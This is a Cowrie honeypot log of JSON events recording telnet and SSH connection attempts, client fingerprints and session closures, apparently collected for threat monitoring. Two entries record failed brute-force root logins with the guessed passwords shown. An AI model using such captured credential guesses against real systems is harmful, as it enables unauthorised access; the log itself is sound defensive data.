{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49560,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcf2d0f9b37b","protocol":"telnet","message":"New connection: 152.42.224.71:49560 (10.17.0.5:23) [session: bcf2d0f9b37b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:40.883334Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51628,"dst_ip":"10.17.0.5","dst_port":23,"session":"636812e0cf69","protocol":"telnet","message":"New connection: 152.42.224.71:51628 (10.17.0.5:23) [session: 636812e0cf69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:46.205617Z"}
{"eventid":"cowrie.session.closed","duration":120.00592041015625,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:50.615590Z","src_ip":"152.42.224.71","session":"f1cb8575d212","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.227.3","src_port":33586,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a13a89c17d8","protocol":"ssh","message":"New connection: 43.156.227.3:33586 (159.203.135.109:22) [session: 4a13a89c17d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:53.204829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:53.223286Z","src_ip":"43.156.227.3","session":"4a13a89c17d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:53.461491Z","src_ip":"43.156.227.3","session":"4a13a89c17d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome123$","message":"login attempt [root/welcome123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:54.444726Z","src_ip":"43.156.227.3","session":"4a13a89c17d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51640,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c42258b1c40","protocol":"telnet","message":"New connection: 152.42.224.71:51640 (10.17.0.5:23) [session: 7c42258b1c40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:54.685899Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51654,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c80b1e0d88b","protocol":"telnet","message":"New connection: 152.42.224.71:51654 (10.17.0.5:23) [session: 6c80b1e0d88b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:55.426305Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:55.685795Z","src_ip":"43.156.227.3","session":"4a13a89c17d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.670573234558105,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:59.876090Z","src_ip":"152.42.224.71","session":"636812e0cf69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39280,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bf231db161e","protocol":"telnet","message":"New connection: 152.42.224.71:39280 (10.17.0.5:23) [session: 8bf231db161e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:01.074104Z"}
{"eventid":"cowrie.session.closed","duration":66.72322869300842,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:01.466234Z","src_ip":"152.42.224.71","session":"a225bffed7f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.444774627685547,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:05.286685Z","src_ip":"152.42.224.71","session":"d062789f4c83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60734,"dst_ip":"10.17.0.5","dst_port":23,"session":"44259d8f162b","protocol":"telnet","message":"New connection: 152.42.224.71:60734 (10.17.0.5:23) [session: 44259d8f162b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:13.808990Z"}
{"eventid":"cowrie.session.closed","duration":36.019628047943115,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:16.902844Z","src_ip":"152.42.224.71","session":"bcf2d0f9b37b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41988,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e2a82306b58","protocol":"telnet","message":"New connection: 152.42.224.71:41988 (10.17.0.5:23) [session: 9e2a82306b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:18.772584Z"}
{"eventid":"cowrie.session.closed","duration":102.4678726196289,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:18.869346Z","src_ip":"152.42.224.71","session":"7854c67fd898","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41992,"dst_ip":"10.17.0.5","dst_port":23,"session":"78b89c0dd75d","protocol":"telnet","message":"New connection: 152.42.224.71:41992 (10.17.0.5:23) [session: 78b89c0dd75d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:19.277896Z"}
{"eventid":"cowrie.session.closed","duration":88.01663088798523,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:20.423108Z","src_ip":"152.42.224.71","session":"478746d0fc00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00246930122375,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:21.563997Z","src_ip":"152.42.224.71","session":"2677c4570860","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42002,"dst_ip":"10.17.0.5","dst_port":23,"session":"64e51f07ee07","protocol":"telnet","message":"New connection: 152.42.224.71:42002 (10.17.0.5:23) [session: 64e51f07ee07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:24.522203Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42960,"dst_ip":"10.17.0.5","dst_port":23,"session":"eabbbab1870b","protocol":"telnet","message":"New connection: 152.42.224.71:42960 (10.17.0.5:23) [session: eabbbab1870b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:27.368595Z"}
{"eventid":"cowrie.session.closed","duration":52.270687103271484,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:27.800903Z","src_ip":"152.42.224.71","session":"d04c40ac5ba6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42966,"dst_ip":"10.17.0.5","dst_port":23,"session":"510f0b56f7dc","protocol":"telnet","message":"New connection: 152.42.224.71:42966 (10.17.0.5:23) [session: 510f0b56f7dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:29.468553Z"}
{"eventid":"cowrie.session.closed","duration":120.00133633613586,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:31.660854Z","src_ip":"152.42.224.71","session":"a6f7951cd174","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42980,"dst_ip":"10.17.0.5","dst_port":23,"session":"5404f86490b1","protocol":"telnet","message":"New connection: 152.42.224.71:42980 (10.17.0.5:23) [session: 5404f86490b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:33.494154Z"}
{"eventid":"cowrie.session.connect","src_ip":"54.208.51.118","src_port":33292,"dst_ip":"159.203.135.109","dst_port":22,"session":"708731930a70","protocol":"ssh","message":"New connection: 54.208.51.118:33292 (159.203.135.109:22) [session: 708731930a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:39.280785Z"}
{"eventid":"cowrie.session.closed","duration":15.170682668685913,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:39.692769Z","src_ip":"152.42.224.71","session":"64e51f07ee07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.30207705497742,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:40.728235Z","src_ip":"152.42.224.71","session":"6c80b1e0d88b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.82278060913086,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:40.896741Z","src_ip":"152.42.224.71","session":"8bf231db161e","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:41.933207Z","src_ip":"54.208.51.118","session":"708731930a70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:41.936279Z","src_ip":"54.208.51.118","session":"708731930a70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51970,"dst_ip":"10.17.0.5","dst_port":23,"session":"314bd31c6bfd","protocol":"telnet","message":"New connection: 152.42.224.71:51970 (10.17.0.5:23) [session: 314bd31c6bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:42.076847Z"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:44.639524Z","src_ip":"54.208.51.118","session":"708731930a70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53546,"dst_ip":"10.17.0.5","dst_port":23,"session":"06c25ace449a","protocol":"telnet","message":"New connection: 152.42.224.71:53546 (10.17.0.5:23) [session: 06c25ace449a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:47.844588Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53560,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ba042b1a255","protocol":"telnet","message":"New connection: 152.42.224.71:53560 (10.17.0.5:23) [session: 6ba042b1a255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:47.867574Z"}
{"eventid":"cowrie.session.closed","duration":36.344398021698,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:50.153295Z","src_ip":"152.42.224.71","session":"44259d8f162b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53574,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b78272da97f","protocol":"telnet","message":"New connection: 152.42.224.71:53574 (10.17.0.5:23) [session: 7b78272da97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:50.589287Z"}
{"eventid":"cowrie.session.closed","duration":33.86911725997925,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:53.146873Z","src_ip":"152.42.224.71","session":"78b89c0dd75d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53582,"dst_ip":"10.17.0.5","dst_port":23,"session":"20d6234c171c","protocol":"telnet","message":"New connection: 152.42.224.71:53582 (10.17.0.5:23) [session: 20d6234c171c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:55.830242Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48896,"dst_ip":"10.17.0.5","dst_port":23,"session":"46124e09cf0e","protocol":"telnet","message":"New connection: 152.42.224.71:48896 (10.17.0.5:23) [session: 46124e09cf0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:01:58.442972Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48912,"dst_ip":"10.17.0.5","dst_port":23,"session":"c36355fd943d","protocol":"telnet","message":"New connection: 152.42.224.71:48912 (10.17.0.5:23) [session: c36355fd943d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:00.336215Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48922,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0d0933601a0","protocol":"telnet","message":"New connection: 152.42.224.71:48922 (10.17.0.5:23) [session: c0d0933601a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:00.355555Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48926,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8b379447156","protocol":"telnet","message":"New connection: 152.42.224.71:48926 (10.17.0.5:23) [session: a8b379447156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:01.031588Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48940,"dst_ip":"10.17.0.5","dst_port":23,"session":"f93ee5b97d47","protocol":"telnet","message":"New connection: 152.42.224.71:48940 (10.17.0.5:23) [session: f93ee5b97d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:01.311709Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32994,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cfd1449fe93","protocol":"telnet","message":"New connection: 152.42.224.71:32994 (10.17.0.5:23) [session: 6cfd1449fe93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:05.946311Z"}
{"eventid":"cowrie.session.closed","duration":47.238852739334106,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:06.011327Z","src_ip":"152.42.224.71","session":"9e2a82306b58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33004,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd49c0a5665b","protocol":"telnet","message":"New connection: 152.42.224.71:33004 (10.17.0.5:23) [session: fd49c0a5665b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:07.218122Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33018,"dst_ip":"10.17.0.5","dst_port":23,"session":"e146b310581e","protocol":"telnet","message":"New connection: 152.42.224.71:33018 (10.17.0.5:23) [session: e146b310581e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:07.773343Z"}
{"eventid":"cowrie.session.closed","duration":27.958865880966187,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:10.035567Z","src_ip":"152.42.224.71","session":"314bd31c6bfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.010018825531006,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:12.378478Z","src_ip":"152.42.224.71","session":"eabbbab1870b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33026,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd1b14571812","protocol":"telnet","message":"New connection: 152.42.224.71:33026 (10.17.0.5:23) [session: dd1b14571812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:14.232611Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44942,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c045f922b35","protocol":"telnet","message":"New connection: 152.42.224.71:44942 (10.17.0.5:23) [session: 9c045f922b35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:16.563001Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44948,"dst_ip":"10.17.0.5","dst_port":23,"session":"aad00805700c","protocol":"telnet","message":"New connection: 152.42.224.71:44948 (10.17.0.5:23) [session: aad00805700c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:20.320998Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44958,"dst_ip":"10.17.0.5","dst_port":23,"session":"502760911b88","protocol":"telnet","message":"New connection: 152.42.224.71:44958 (10.17.0.5:23) [session: 502760911b88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:20.608537Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":44972,"dst_ip":"159.203.135.109","dst_port":22,"session":"a99aaecb06d4","protocol":"ssh","message":"New connection: 43.153.54.120:44972 (159.203.135.109:22) [session: a99aaecb06d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:23.085241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:23.092717Z","src_ip":"43.153.54.120","session":"a99aaecb06d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:23.160831Z","src_ip":"43.153.54.120","session":"a99aaecb06d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq@123456789","message":"login attempt [root/Qq@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:23.466628Z","src_ip":"43.153.54.120","session":"a99aaecb06d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:24.538250Z","src_ip":"43.153.54.120","session":"a99aaecb06d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.80345416069031,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:25.647926Z","src_ip":"152.42.224.71","session":"06c25ace449a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.04781937599182,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:02:27.383863Z","src_ip":"152.42.224.71","session":"c36355fd943d","protocol":"telnet"}
